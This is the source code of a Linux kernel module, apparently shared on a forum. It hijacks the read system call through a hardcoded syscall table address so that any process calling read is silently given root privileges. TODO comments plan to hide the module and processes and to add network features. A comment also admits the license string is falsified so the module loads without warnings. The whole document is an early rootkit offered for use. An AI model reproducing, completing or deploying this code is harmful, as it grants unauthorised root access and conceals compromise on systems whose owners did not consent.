Code: Select all
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/vmalloc.h>
#include <asm/unistd.h>
#define SCT_LOC 0xc044d580
/* TODO
1) Find sys_call_table dynamically (look through kmem)
2) hide the module
3) do some network-related shit
4) hide processes
5) m00
*/
void **sys_call_table = (void **)SCT_LOC; /* Found via System.map */
ssize_t (*orig_read)(unsigned int, char __user *, size_t);
ssize_t my_read(unsigned int fd, char __user *buf, size_t count)
{
current->uid=0;
current->euid=0;
return orig_read(fd, buf, count);
}
static int lkm_init(void)
{
orig_read = sys_call_table[__NR_read];
sys_call_table[__NR_read] = my_read;
return 0;
}
static void lkm_exit(void)
{
sys_call_table[__NR_read] = orig_read;
}
module_init(lkm_init);
module_exit(lkm_exit);
/* Actually, the license is BSD-only, but this makes it so that it will load silently... */
MODULE_LICENSE("Dual BSD/GPL");